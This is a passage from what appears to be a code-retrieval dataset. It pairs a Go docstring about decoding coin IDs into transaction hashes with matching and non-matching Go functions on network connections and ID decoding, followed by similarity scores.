cfg.replicaCfg.Creds != nil {\n\t\tgrpcOpts = append(grpcOpts, grpc.WithTransportCredentials(cfg.replicaCfg.Creds))\n\t} else {\n\t\tgrpcOpts = append(grpcOpts, grpc.WithInsecure())\n\t}\n\n\tmgrOpts = append(mgrOpts, gorums.WithGrpcDialOptions(grpcOpts...))\n\n\tvar err error\n\tcfg.mgr = proto.NewManager(mgrOpts...)\n\n\tcfg.cfg, err = cfg.mgr.NewConfiguration(qspec{}, gorums.WithNodeMap(idMapping))\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to create configuration: %w\", err)\n\t}\n\n\tfor _, node := range cfg.cfg.Nodes() {\n\t\tid := hotstuff.ID(node.ID())\n\t\treplica := cfg.replicas[id].(*gorumsReplica)\n\t\treplica.node = node\n\t}\n\n\treturn nil\n}", "func ConnectHandler(w http.ResponseWriter, r *http.Request) {\n\tdb := Connect()\n\tdefer db.Close()\n\n\tcanAccess, account := ValidateAuth(db, r, w)\n\tif !canAccess {\n\t\treturn\n\t}\n\n\tvar args ConnectArguments\n\terr := GetFromReq(w, r, &args)\n\tif err != nil {\n\t\thttp.Error(w, \"invalid request\", http.StatusBadRequest)\n\t\treturn\n\t}\n\n\totherAccount := new(Account)\n\terr = db.Model(otherAccount).\n\t\tWhere(\"connect_code = ?\", args.ConnectCode).\n\t\tLimit(1).\n\t\tSelect()\n\tif err != nil {\n\t\thttp.Error(w, \"invalid code\", http.StatusBadRequest)\n\t\treturn\n\t}\n\n\terr = LinkAccounts(db, account, otherAccount, PENDING)\n\tif err != nil {\n\t\tlog.Printf(\"LinkAccounts failed: %s\", err)\n\t\thttp.Error(w, \"could not link accounts\", http.StatusBadRequest)\n\t\treturn\n\t}\n\n\tstateResponse := &StateResponse{\n\t\tPeerId: otherAccount.Id,\n\t\tStatus: \"pending\",\n\t\tShouldFetch: false,\n\t\tShouldPeerFetch: false,\n\t}\n\tif err := json.NewEncoder(w).Encode(stateResponse); err != nil {\n\t\tpanic(err)\n\t}\n}", "func wsProxyDial(url_, protocol, origin string) (ws *websocket.Conn, err error) {\n\n\tlog.Printf(\"[%s] http_proxy {%s}\\n\", __FILE__, os.Getenv(\"http_proxy\"))\n\n\t// comment out in case of testing without proxy(internal server)\n\tif strings.Contains(url_, \"10.113.\") {\n\t\treturn websocket.Dial(url_, protocol, origin)\n\t}\n\n\tif os.Getenv(\"http_proxy\") == \"\" {\n\t\treturn websocket.Dial(url_, protocol, origin)\n\t}\n\n\tpurl, err := url.Parse(os.Getenv(\"http_proxy\"))\n\tif err != nil {\n\t\tlog.Printf(\"[%s] Parse : \", __FILE__, err)\n\t\treturn nil, err\n\t}\n\n\tlog.Printf(\"====================================\")\n\tlog.Printf(\" websocket.NewConfig\")\n\tlog.Printf(\"====================================\")\n\tconfig, err := websocket.NewConfig(url_, origin)\n\tif err != nil {\n\t\tlog.Printf(\"[%s] NewConfig : \", __FILE__, err)\n\t\treturn nil, err\n\t}\n\n\tif protocol != \"\" {\n\t\tconfig.Protocol = []string{protocol}\n\t}\n\n\tlog.Printf(\"====================================\")\n\tlog.Printf(\" HttpConnect\")\n\tlog.Printf(\"====================================\")\n\tclient, err := wsHttpConnect(purl.Host, url_)\n\tif err != nil {\n\t\tlog.Printf(\"[%s] HttpConnect : \", __FILE__, err)\n\t\treturn nil, err\n\t}\n\n\tlog.Printf(\"====================================\")\n\tlog.Printf(\" websocket.NewClient\")\n\tlog.Printf(\"====================================\")\n\n\tret_ws, err := websocket.NewClient(config, client)\n\tif err != nil {\n\t\tlog.Printf(\"[%s] NewCliet error : \", __FILE__, err)\n\t}\n\n\treturn ret_ws, err\n}", "func (rmq *RmqStruct) createConnect() error {\n\tamqpURL := amqp.URI{\n\t\tScheme: \"amqp\",\n\t\tHost: rmq.rmqCfg.Host,\n\t\tUsername: rmq.rmqCfg.Username,\n\t\tPassword: \"XXXXX\",\n\t\tPort: rmq.rmqCfg.Port,\n\t\tVhost: rmq.rmqCfg.Vhost,\n\t}\n\n\tlog.Logger.Info(\n\t\t\"connect URL\",\n\t\tzap.String(\"service\", serviceName),\n\t\tzap.String(\"uuid\", rmq.uuid),\n\t\tzap.String(\"url\", amqpURL.String()),\n\t)\n\n\tamqpURL.Password = rmq.rmqCfg.Password\n\n\t// tcp connection timeout in 3 seconds\n\tmyconn, err := amqp.DialConfig(\n\t\tamqpURL.String(),\n\t\tamqp.Config{\n\t\t\tVhost: rmq.rmqCfg.Vhost,\n\t\t\tDial: func(network, addr string) (net.Conn, error) {\n\t\t\t\treturn net.DialTimeout(network, addr, 3*time.Second)\n\t\t\t},\n\t\t\tHeartbeat: 10 * time.Second,\n\t\t\tLocale: \"en_US\"},\n\t)\n\tif err != nil {\n\t\tlog.Logger.Warn(\n\t\t\t\"open connection failed\",\n\t\t\tzap.String(\"service\", serviceName),\n\t\t\tzap.String(\"uuid\", rmq.uuid),\n\t\t\tzap.String(\"error\", err.Error()),\n\t\t)\n\n\t\treturn err\n\t}\n\n\trmq.rmqConnection = myconn\n\trmq.connCloseError = make(chan *amqp.Error)\n\trmq.rmqConnection.NotifyClose(rmq.connCloseError)\n\treturn nil\n}", "func (e *connectionedEndpoint) Connect(ctx context.Context, server BoundEndpoint) *syserr.Error {\n\treturnConnect := func(r Receiver, ce ConnectedEndpoint) {\n\t\te.receiver = r\n\t\te.connected = ce\n\t\t// Make sure the newly created connected endpoint's write queue is updated\n\t\t// to reflect this endpoint's send buffer size.\n\t\tif bufSz := e.connected.SetSendBufferSize(e.ops.GetSendBufferSize()); bufSz != e.ops.GetSendBufferSize() {\n\t\t\te.ops.SetSendBufferSize(bufSz, false /* notify */)\n\t\t\te.ops.SetReceiveBufferSize(bufSz, false /* notify */)\n\t\t}\n\t}\n\n\treturn server.BidirectionalConnect(ctx, e, returnConnect)\n}", "func (m *Monocular) Connect(ec echo.Context, cnsiRecord interfaces.CNSIRecord, userId string) (*interfaces.TokenRecord, bool, error) {\n\t// Note: Helm Repositories don't support connecting\n\treturn nil, false, errors.New(\"Connecting not support for a Helm Repository\")\n}", "func StartWebsocketClient(port string) {\n\tconnectWebsocket(port)\n\n\t// Handle response from server\n\tgo func() {\n\t\tfor {\n\t\t\t_, readMessage, err := WS.ReadMessage()\n\t\t\tif err != nil {\n\t\t\t\tlogger.WithFields(logger.Fields{\"code\": \"CGGWCSWC001\"}).Errorf(\"%s\", err.Error())\n\n\t\t\t\t// When read error is 1006, retry connection\n\t\t\t\tif strings.Contains(err.Error(), \"close 1006\") || strings.Contains(err.Error(), \"reset by peer\") {\n\t\t\t\t\tconnectWebsocket(port)\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tvar parsedMessage WebsocketMessage\n\t\t\terr = json.Unmarshal(readMessage, &parsedMessage)\n\t\t\tif err != nil {\n\t\t\t\tlogger.WithFields(logger.Fields{\"code\": \"CGGWCSWC002\"}).Errorf(\"%s\", err.Error())\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tswitch parsedMessage.Action {\n\t\t\tcase \"callAction\":\n\t\t\t\tvar action ActionMessage\n\t\t\t\terr = json.Unmarshal(parsedMessage.Body, &action)\n\t\t\t\tif err != nil {\n\t\t\t\t\tlogger.WithFields(logger.Fields{\"code\": \"CGGWCSWC005\"}).Errorf(\"%s\", err.Error())\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\n\t\t\t\tif PluginFromName(action.Plugin) != nil && PluginFromName(action.Plugin).CallAction != nil {\n\t\t\t\t\tlogger.WithFields(logger.Fields{}).Debugf(\"Send action to plugin %s\", action.Plugin)\n\t\t\t\t\tgo PluginFromName(action.Plugin).CallAction(action.PhysicalID, action.Call, []byte(action.Params), []byte(action.Config))\n\t\t\t\t}\n\t\t\t\tcontinue\n\t\t\tdefault:\n\t\t\t\tcontinue\n\t\t\t}\n\t\t}\n\t}()\n}", "func connect(endpoint string) (*socket, error) {\n\tzmqSocket, err := zmq.NewSocket(zmq.DEALER)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\ts := socket{\n\t\tzmqSocket: zmqSocket,\n\t\tChannels: make([]*channel, 0),\n\t\tsocketErrors: make(chan error),\n\t}\n\n\tif err := s.zmqSocket.Connect(endpoint); err != nil {\n\t\treturn nil, err\n\t}\n\n\tlog.Printf(\"ZeroRPC socket connected to %s\", endpoint)\n\n\tgo s.listen()\n\n\treturn &s, nil\n}", "func websocketRelay(relaynum int) func(*websocket.Conn) {\n\treturn func(ws *websocket.Conn) {\n\t\tif n := relay.Count(); int(n) >= relaynum {\n\t\t\tlog.Println(\"num of relays\", n, \"is over\", relaynum)\n\t\t\treturn\n\t\t}\n\t\thost, port, err := net.SplitHostPort(ws.Request().RemoteAddr)\n\t\tif err != nil {\n\t\t\tlog.Println(err)\n\t\t\treturn\n\t\t}\n\t\tp, err := strconv.Atoi(port)\n\t\tif err != nil {\n\t\t\tlog.Println(err)\n\t\t\treturn\n\t\t}\n\t\tlog.Println(\"websocket client:\", host, port)\n\t\tn, err := node.MakeNode(host, \"/server.cgi\", p)\n\t\tif err != nil {\n\t\t\tlog.Println(err)\n\t\t\treturn\n\t\t}\n\t\tif !n.IsAllowed() {\n\t\t\tlog.Println(n, \"is not allowed\")\n\t\t\treturn\n\t\t}\n\t\tlog.Println(host, \"is accepted.\")\n\t\trelay.StartServe(host, ws)\n\t}\n}", "func createGRPCClientConnection(logger *logrus.Logger) (*grpc.ClientConn, error) {\n\tvar dialOption grpc.DialOption\n\n\tcertPath := viper.GetString(common.AppTLSCertPath)\n\tif certPath != \"\" {\n\t\t// secure connection\n\t\tcertBytes, err := ioutil.ReadFile(certPath)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"reading TLS cert file: %v\", err)\n\t\t}\n\n\t\tcertPool := x509.NewCertPool()\n\t\tif ok := certPool.AppendCertsFromPEM(certBytes); !ok {\n\t\t\treturn nil, fmt.Errorf(\"CertPool append failed\")\n\t\t}\n\n\t\ttransportCreds := credentials.NewClientTLSFromCert(certPool, \"\")\n\t\tdialOption = grpc.WithTransportCredentials(transportCreds)\n\n\t\tlogger.Infof(\"client gRPC connection: TLS enabled\")\n\t} else {\n\t\t// insecure connection\n\t\tdialOption = grpc.WithInsecure()\n\n\t\tlogger.Infof(\"client gRPC connection: insecure\")\n\t}\n\n\tserverAddr := fmt.Sprintf(\"%s:%s\", viper.GetString(common.ServerHost), viper.GetString(common.ServerPort))\n\tconn, err := grpc.Dial(\n\t\tserverAddr,\n\t\tdialOption,\n\t)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"creating client connection failed: %v\", err)\n\t}\n\n\tlogger.Infof(\"client gRPC: %s\", serverAddr)\n\n\treturn conn, nil\n}", "func connectToHost(ctx context.Context, tc *client.TeleportClient, webSession *webSession, host string) (io.ReadWriteCloser, error) {\n\treq := web.TerminalRequest{\n\t\tServer: host,\n\t\tLogin: tc.HostLogin,\n\t\tTerm: session.TerminalParams{\n\t\t\tW: 100,\n\t\t\tH: 100,\n\t\t},\n\t}\n\n\tdata, err := json.Marshal(req)\n\tif err != nil {\n\t\treturn nil, trace.Wrap(err)\n\t}\n\n\tu := url.URL{\n\t\tHost: tc.WebProxyAddr,\n\t\tScheme: client.WSS,\n\t\tPath: fmt.Sprintf(\"/v1/webapi/sites/%v/connect\", tc.SiteName),\n\t\tRawQuery: url.Values{\n\t\t\t\"params\": []string{string(data)},\n\t\t\troundtrip.AccessTokenQueryParam: []string{webSession.getToken()},\n\t\t}.Encode(),\n\t}\n\n\tdialer := websocket.Dialer{\n\t\tTLSClientConfig: &tls.Config{InsecureSkipVerify: tc.InsecureSkipVerify},\n\t\tJar: webSession.getCookieJar(),\n\t}\n\n\tws, resp, err := dialer.DialContext(ctx, u.String(), http.Header{\n\t\t\"Origin\": []string{\"http://localhost\"},\n\t})\n\tif err != nil {\n\t\treturn nil, trace.Wrap(err)\n\t}\n\tdefer resp.Body.Close()\n\n\tty, _, err := ws.ReadMessage()\n\tif err != nil {\n\t\treturn nil, trace.Wrap(err)\n\t}\n\n\tif ty != websocket.BinaryMessage {\n\t\treturn nil, trace.BadParameter(\"unexpected websocket message received %d\", ty)\n\t}\n\n\tstream := web.NewTerminalStream(ctx, ws, utils.NewLogger())\n\treturn stream, trace.Wrap(err)\n}", "func TestConnect(t *testing.T) {\n\tif testing.Short() {\n\t\tt.SkipNow()\n\t}\n\tt.Parallel()\n\t// create bootstrap peer\n\tbootstrap := newNamedTestingGateway(t, \"1\")\n\tdefer bootstrap.Close()\n\n\t// give it a node\n\tbootstrap.mu.Lock()\n\tbootstrap.addNode(dummyNode)\n\tbootstrap.mu.Unlock()\n\n\t// create peer who will connect to bootstrap\n\tg := newNamedTestingGateway(t, \"2\")\n\tdefer g.Close()\n\n\t// first simulate a \"bad\" connect, where bootstrap won't share its nodes\n\tbootstrap.mu.Lock()\n\tbootstrap.handlers[handlerName(\"ShareNodes\")] = func(modules.PeerConn) error {\n\t\treturn nil\n\t}\n\tbootstrap.mu.Unlock()\n\t// connect\n\terr := g.Connect(bootstrap.Address())\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\t// g should not have the node\n\tif g.removeNode(dummyNode) == nil {\n\t\tt.Fatal(\"bootstrapper should not have received dummyNode:\", g.nodes)\n\t}\n\n\t// split 'em up\n\tg.Disconnect(bootstrap.Address())\n\tbootstrap.Disconnect(g.Address())\n\n\t// now restore the correct ShareNodes RPC and try again\n\tbootstrap.mu.Lock()\n\tbootstrap.handlers[handlerName(\"ShareNodes\")] = bootstrap.shareNodes\n\tbootstrap.mu.Unlock()\n\terr = g.Connect(bootstrap.Address())\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\t// g should have the node\n\ttime.Sleep(200 * time.Millisecond)\n\tg.mu.RLock()\n\tif _, ok := g.nodes[dummyNode]; !ok {\n\t\tg.mu.RUnlock() // Needed to prevent a deadlock if this error condition is reached.\n\t\tt.Fatal(\"bootstrapper should have received dummyNode:\", g.nodes)\n\t}\n\tg.mu.RUnlock()\n}", "func OnConnect(c websocket.Connection) {\n\t//Join 线程隔离\n\tfmt.Println(c.Context().String())\n\n\tfmt.Println(c.Context().GetHeader(\"Connection\"))\n\tfmt.Println(c.Context().GetHeader(\"Sec-Websocket-Key\"))\n\tfmt.Println(c.Context().GetHeader(\"Sec-Websocket-Version\"))\n\tfmt.Println(c.Context().GetHeader(\"Upgrade\"))\n\n\t//Join将此连接注册到房间,如果它不存在则会创建一个新房间。一个房间可以有一个或多个连接。一个连接可以连接到许多房间。所有连接都自动连接到由“ID”指定的房间。\n\tc.Join(\"room1\")\n\t// Leave从房间中删除此连接条目//如果连接实际上已离开特定房间,则返回true。\n\tdefer c.Leave(\"room1\")\n\n\t//获取路径中的query数据\n\tfmt.Println(\"namespace:\",c.Context().FormValue(\"namespace\"))\n\tfmt.Println(\"nam:\",c.Context().FormValue(\"name\"))\n\n\t//收到消息的事件。bytes=收到客户端发送的消息\n\tc.OnMessage(func(bytes []byte) {\n\t\tfmt.Println(\"client:\",string(bytes))\n\n\t\t//循环向连接的客户端发送数据\n\t\tvar i int\n\t\tfor {\n\t\t\ti++\n\t\t\tc.EmitMessage([]byte(fmt.Sprintf(\"=============%d==========\",i))) // ok works too\n\t\t\ttime.Sleep(time.Second)\n\t\t}\n\t})\n}", "func (ctrler CtrlDefReactor) OnNodeReconnect() {\n\tlog.Info(\"OnNodeReconnect is not implemented\")\n\treturn\n}", "func newServiceNode(port int, httpport int, wsport int, modules ...string) (*node.Node, error) {\n\tcfg := &node.DefaultConfig\n\tcfg.P2P.ListenAddr = fmt.Sprintf(\":%d\", port)\n\tcfg.P2P.EnableMsgEvents = true\n\tcfg.P2P.NoDiscovery = true\n\tcfg.IPCPath = ipcpath\n\tcfg.DataDir = fmt.Sprintf(\"%s%d\", datadirPrefix, port)\n\tif httpport > 0 {\n\t\tcfg.HTTPHost = node.DefaultHTTPHost\n\t\tcfg.HTTPPort = httpport\n\t}\n\tif wsport > 0 {\n\t\tcfg.WSHost = node.DefaultWSHost\n\t\tcfg.WSPort = wsport\n\t\tcfg.WSOrigins = []string{\"*\"}\n\t\tfor i := 0; i < len(modules); i++ {\n\t\t\tcfg.WSModules = append(cfg.WSModules, modules[i])\n\t\t}\n\t}\n\tstack, err := node.New(cfg)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"ServiceNode create fail: %v\", err)\n\t}\n\treturn stack, nil\n}", "func (rpcServer *RPCServer) InitializeChordNode() {\n\n\trpcServer.logger.Println(\"In Initialize Chord Node\")\n\trpcServer.chordNode = &chord.ChordNode{}\n\trpcServer.chordNode.MValue = rpcServer.configObject.MValue\n\trpcServer.chordNode.FirstNode = rpcServer.configObject.FirstNode\n\trpcServer.chordNode.Logger = rpcServer.logger\n\trpcServer.chordNode.KeyHashLength = rpcServer.configObject.KeyHashLength\n\trpcServer.chordNode.RelationHashLength = rpcServer.configObject.RelationHashLength\n\n\trpcServer.chordNode.MyServerInfo.ServerID = rpcServer.configObject.ServerID\n\trpcServer.chordNode.MyServerInfo.Protocol = rpcServer.configObject.Protocol\n\trpcServer.chordNode.MyServerInfo.IpAddress = rpcServer.configObject.IpAddress\n\trpcServer.chordNode.MyServerInfo.Port = rpcServer.configObject.Port\n\n\trpcServer.chordNode.InitializeNode()\n\trpcServer.chordNode.RunBackgroundProcesses()\n\n}" ]
[ "0.5678625", "0.5574681", "0.553442", "0.5318691", "0.5208728", "0.5197474", "0.5172092", "0.5171623", "0.5110479", "0.5089093", "0.5073526", "0.50589776", "0.50174344", "0.49976897", "0.4952915", "0.4912385", "0.48695475", "0.48659632", "0.48654136", "0.48596957", "0.48557073", "0.48298636", "0.48296687", "0.48203668", "0.48143554", "0.48062456", "0.47911614", "0.47704676", "0.47311503", "0.4709475", "0.4698744", "0.4680413", "0.46792367", "0.46725687", "0.46691817", "0.46487027", "0.46454242", "0.4625422", "0.46052742", "0.45933107", "0.4584728", "0.4578702", "0.4573954", "0.45705658", "0.45632443", "0.45621362", "0.45595786", "0.45538366", "0.4548267", "0.4545569", "0.4545459", "0.4544537", "0.45402715", "0.45392823", "0.4535104", "0.45311552", "0.45257252", "0.4522799", "0.4488436", "0.44749814", "0.4471575", "0.44690123", "0.4460925", "0.44549987", "0.4451656", "0.44441396", "0.44400105", "0.44363394", "0.44358838", "0.44314936", "0.44256085", "0.44199198", "0.441047", "0.44008094", "0.43810844", "0.4380331", "0.4373891", "0.437175", "0.4371725", "0.4367349", "0.43653166", "0.43576357", "0.43573087", "0.43533254", "0.43483785", "0.43479025", "0.43478456", "0.43408668", "0.4338032", "0.43291274", "0.43149468", "0.4313392", "0.43067935", "0.4305192", "0.42925894", "0.42902145", "0.42810866", "0.4280788", "0.42794082", "0.42793614" ]
0.774264
0
decodeCoinID decodes the coin ID into a tx hash and a vout.
func decodeCoinID(coinID []byte) (*chainhash.Hash, uint32, error) { if len(coinID) != 36 { return nil, 0, fmt.Errorf("coin ID wrong length. expected 36, got %d", len(coinID)) } var txHash chainhash.Hash copy(txHash[:], coinID[:32]) return &txHash, binary.BigEndian.Uint32(coinID[32:]), nil }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func decodeCoinID(coinID dex.Bytes) (*chainhash.Hash, uint32, error) {\n\tif len(coinID) != 36 {\n\t\treturn nil, 0, fmt.Errorf(\"coin ID wrong length. expected 36, got %d\", len(coinID))\n\t}\n\tvar txHash chainhash.Hash\n\tcopy(txHash[:], coinID[:32])\n\treturn &txHash, binary.BigEndian.Uint32(coinID[32:]), nil\n}", "func decodeCoinID(coinID dex.Bytes) (*chainhash.Hash, uint32, error) {\n\tif len(coinID) != 36 {\n\t\treturn nil, 0, fmt.Errorf(\"coin ID wrong length. expected 36, got %d\", len(coinID))\n\t}\n\tvar txHash chainhash.Hash\n\tcopy(txHash[:], coinID[:32])\n\treturn &txHash, binary.BigEndian.Uint32(coinID[32:]), nil\n}", "func decodeCoinID(coinID dex.Bytes) (*chainhash.Hash, uint32, error) {\n\tif len(coinID) != 36 {\n\t\treturn nil, 0, fmt.Errorf(\"coin ID wrong length. expected 36, got %d\", len(coinID))\n\t}\n\tvar txHash chainhash.Hash\n\tcopy(txHash[:], coinID[:32])\n\treturn &txHash, binary.BigEndian.Uint32(coinID[32:]), nil\n}", "func (d *Driver) DecodeCoinID(coinID []byte) (string, error) {\n\ttxHash, err := dexeth.DecodeCoinID(coinID)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn txHash.String(), nil\n}", "func (d *Driver) DecodeCoinID(coinID []byte) (string, error) {\n\ttxid, vout, err := decodeCoinID(coinID)\n\tif err != nil {\n\t\treturn \"<invalid>\", err\n\t}\n\treturn fmt.Sprintf(\"%v:%d\", txid, vout), err\n}", "func (d *Driver) DecodeCoinID(coinID []byte) (string, error) {\n\ttxid, vout, err := decodeCoinID(coinID)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn fmt.Sprintf(\"%v:%d\", txid, vout), err\n}", "func (d *Driver) DecodeCoinID(coinID []byte) (string, error) {\n\ttxid, vout, err := decodeCoinID(coinID)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn fmt.Sprintf(\"%v:%d\", txid, vout), err\n}", "func DecodeCoinID(coinID []byte) (uint16, common.Address, []byte, error) {\n\tif len(coinID) != coinIDSize {\n\t\treturn 0, common.Address{}, nil, fmt.Errorf(\"coin ID wrong length. expected %d, got %d\",\n\t\t\tcoinIDSize, len(coinID))\n\t}\n\tsecretHash := make([]byte, 32)\n\tcopy(secretHash, coinID[22:])\n\treturn binary.BigEndian.Uint16(coinID[:2]), common.BytesToAddress(coinID[2:22]), secretHash, nil\n}", "func DecodeCoinID(assetID uint32, coinID []byte) (string, error) {\n\tdrv, ok := baseDriver(assetID)\n\tif !ok {\n\t\treturn \"\", fmt.Errorf(\"unknown asset driver %d\", assetID)\n\t}\n\treturn drv.DecodeCoinID(coinID)\n}", "func DecodeCoinID(name string, coinID []byte) (string, error) {\n\tdriversMtx.Lock()\n\tdrv, ok := drivers[name]\n\tdriversMtx.Unlock()\n\tif !ok {\n\t\treturn \"\", fmt.Errorf(\"db: unknown asset driver %q\", name)\n\t}\n\treturn drv.DecodeCoinID(coinID)\n}", "func toCoinID(txHash *chainhash.Hash, vout uint32) []byte {\n\thashLen := len(txHash)\n\tb := make([]byte, hashLen+4)\n\tcopy(b[:hashLen], txHash[:])\n\tbinary.BigEndian.PutUint32(b[hashLen:], vout)\n\treturn b\n}", "func toCoinID(txHash *chainhash.Hash, vout uint32) []byte {\n\tcoinID := make([]byte, chainhash.HashSize+4)\n\tcopy(coinID[:chainhash.HashSize], txHash[:])\n\tbinary.BigEndian.PutUint32(coinID[chainhash.HashSize:], vout)\n\treturn coinID\n}", "func toCoinID(txHash *chainhash.Hash, vout uint32) []byte {\n\tcoinID := make([]byte, chainhash.HashSize+4)\n\tcopy(coinID[:chainhash.HashSize], txHash[:])\n\tbinary.BigEndian.PutUint32(coinID[chainhash.HashSize:], vout)\n\treturn coinID\n}", "func toCoinID(txHash *chainhash.Hash, vout uint32) []byte {\n\tcoinID := make([]byte, chainhash.HashSize+4)\n\tcopy(coinID[:chainhash.HashSize], txHash[:])\n\tbinary.BigEndian.PutUint32(coinID[chainhash.HashSize:], vout)\n\treturn coinID\n}", "func DecodeOutPoint(id string) (*corepb.OutPoint, error) {\n\tbuf := base58.Decode(id)\n\tif len(buf) != crypto.HashSize+5 {\n\t\treturn nil, fmt.Errorf(\"decode tokenID error, length(%d) mismatch, data: %s\",\n\t\t\tcrypto.HashSize+5, id)\n\t}\n\tif buf[crypto.HashSize] != ':' {\n\t\treturn nil, fmt.Errorf(\"token id delimiter want ':', got: %c, data: %s\",\n\t\t\tbuf[crypto.HashSize], id)\n\t}\n\tfor i, j := 0, crypto.HashSize-1; i < j; i, j = i+1, j-1 {\n\t\tbuf[i], buf[j] = buf[j], buf[i]\n\t}\n\tindex := binary.LittleEndian.Uint32(buf[crypto.HashSize+1:])\n\thash := new(crypto.HashType)\n\thash.SetBytes(buf[:crypto.HashSize])\n\treturn NewPbOutPoint(hash, index), nil\n}", "func (eth *Backend) ValidateCoinID(coinID []byte) (string, error) {\n\ttxHash, err := dexeth.DecodeCoinID(coinID)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn txHash.String(), nil\n}", "func ToCoinID(flags uint16, addr *common.Address, secretHash []byte) []byte {\n\tb := make([]byte, coinIDSize)\n\tb[0] = byte(flags)\n\tb[1] = byte(flags >> 8)\n\tcopy(b[2:], addr[:])\n\tcopy(b[22:], secretHash[:])\n\treturn b\n}", "func decode(id *ID, src []byte) {\n\tencoder.Decode(id[:], src)\n}", "func IDB58Decode(s string) (core.ID, error) {\n\treturn core.IDB58Decode(s)\n}", "func DecodeMatchID(matchIDStr string) (MatchID, error) {\n\tvar matchID MatchID\n\tif len(matchIDStr) != MatchIDSize*2 {\n\t\treturn matchID, errors.New(\"match id has incorrect length\")\n\t}\n\tif _, err := hex.Decode(matchID[:], []byte(matchIDStr)); err != nil {\n\t\treturn matchID, fmt.Errorf(\"could not decode match id: %w\", err)\n\t}\n\treturn matchID, nil\n}", "func DecodeHash(hash string) string {\n\tbyteArray := []byte(hash)\n\n\tfor i := 0; i < 19; i++ {\n\t\tif (string(byteArray[i*2]) == \"0\") && (string(byteArray[(i*2)+1]) == \"3\") {\n\t\t\tfileName, _ := hex.DecodeString(string(byteArray[:(i)*2]))\n\t\t\treturn string(fileName)\n\t\t}\n\t}\n\treturn \"Error when decoding dataID\"\n}", "func decodeKeyId(keyId string) (uint64, error) {\n\tbs, err := hex.DecodeString(keyId)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\tif len(bs) != 8 {\n\t\treturn 0, fmt.Errorf(\"keyId is not 8 bytes as expected, got %d\", len(bs))\n\t}\n\treturn binary.BigEndian.Uint64(bs), nil\n}", "func (c *swapCoin) ID() []byte {\n\treturn c.txHash.Bytes() // c.txHash[:]\n}", "func decodeSpentTxOut(serialized []byte, stxo *txo.SpentTxOut) (int, error) {\n\t// Ensure there are bytes to decode.\n\tif len(serialized) == 0 {\n\t\treturn 0, common.DeserializeError(\"no serialized bytes\")\n\t}\n\n\t// Deserialize the header code.\n\tcode, offset := deserializeVLQ(serialized)\n\tif offset >= len(serialized) {\n\t\treturn offset, common.DeserializeError(\"unexpected end of data after \" +\n\t\t\t\"header code\")\n\t}\n\n\t// Decode the header code.\n\t//\n\t// Bit 0 indicates containing transaction is a coinbase.\n\t// Bits 1-x encode height of containing transaction.\n\tstxo.IsCoinBase = code&0x01 != 0\n\tstxo.Height = int32(code >> 1)\n\n\t// Decode the compressed txout.\n\tamount, pkScript, assetNo, bytesRead, err := decodeCompressedTxOut(\n\t\tserialized[offset:])\n\toffset += bytesRead\n\tif err != nil {\n\t\treturn offset, common.DeserializeError(fmt.Sprintf(\"unable to decode \"+\n\t\t\t\"txout: %v\", err))\n\t}\n\tstxo.Amount = int64(amount)\n\tstxo.PkScript = pkScript\n\tstxo.Asset = assetNo\n\treturn offset, nil\n}", "func (op *output) ID() dex.Bytes {\n\treturn toCoinID(&op.txHash, op.vout)\n}", "func IDHexDecode(s string) (core.ID, error) {\n\treturn core.IDHexDecode(s)\n}", "func decodeBase58(b []byte) int64 {\n\tvar id int64\n\tfor p := range b {\n\t\tid = id*58 + int64(decodeBase58Map[b[p]])\n\t}\n\treturn id\n}", "func (op *output) ID() dex.Bytes {\n\treturn toCoinID(op.txHash(), op.vout())\n}", "func (op *output) ID() dex.Bytes {\n\treturn toCoinID(op.txHash(), op.vout())\n}", "func (m Mixer) DecodeID(password string, data string) (uint64, error) {\n\tdecodeString, err := m.DecodeBase32(password, data)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\tval, err := strconv.ParseUint(decodeString, 10, 64)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\treturn val, nil\n}", "func (dcr *ExchangeWallet) convertCoin(coin asset.Coin) (*output, error) {\n\top, _ := coin.(*output)\n\tif op != nil {\n\t\treturn op, nil\n\t}\n\ttxHash, vout, err := decodeCoinID(coin.ID())\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\ttxOut, err := dcr.node.GetTxOut(dcr.ctx, txHash, vout, true)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error finding unspent output %s:%d: %w\", txHash, vout, translateRPCCancelErr(err))\n\t}\n\tif txOut == nil {\n\t\treturn nil, asset.CoinNotFoundError\n\t}\n\tpkScript, err := hex.DecodeString(txOut.ScriptPubKey.Hex)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\ttree := wire.TxTreeRegular\n\tif dexdcr.IsStakePubkeyHashScript(pkScript) || dexdcr.IsStakeScriptHashScript(pkScript) {\n\t\ttree = wire.TxTreeStake\n\t}\n\treturn newOutput(txHash, vout, coin.Value(), tree), nil\n}", "func (dcr *ExchangeWallet) convertCoin(coin asset.Coin) (*output, error) {\n\top, _ := coin.(*output)\n\tif op != nil {\n\t\treturn op, nil\n\t}\n\ttxHash, vout, err := decodeCoinID(coin.ID())\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn newOutput(txHash, vout, coin.Value(), wire.TxTreeUnknown), nil\n}", "func Decode(id string) (int, error) {\n\tnum := 0\n\tlid := len(id) - 1\n\tfor i := lid; i >= 0; i-- {\n\t\tdgt, err := hydrate(string(id[i]))\n\t\tif err != nil {\n\t\t\treturn -1, err\n\t\t}\n\t\tnum += dgt * int(math.Pow(62, float64(lid-i)))\n\t}\n\treturn num, nil\n}", "func CoinIDToString(coinID []byte) (string, error) {\n\tflags, addr, secretHash, err := 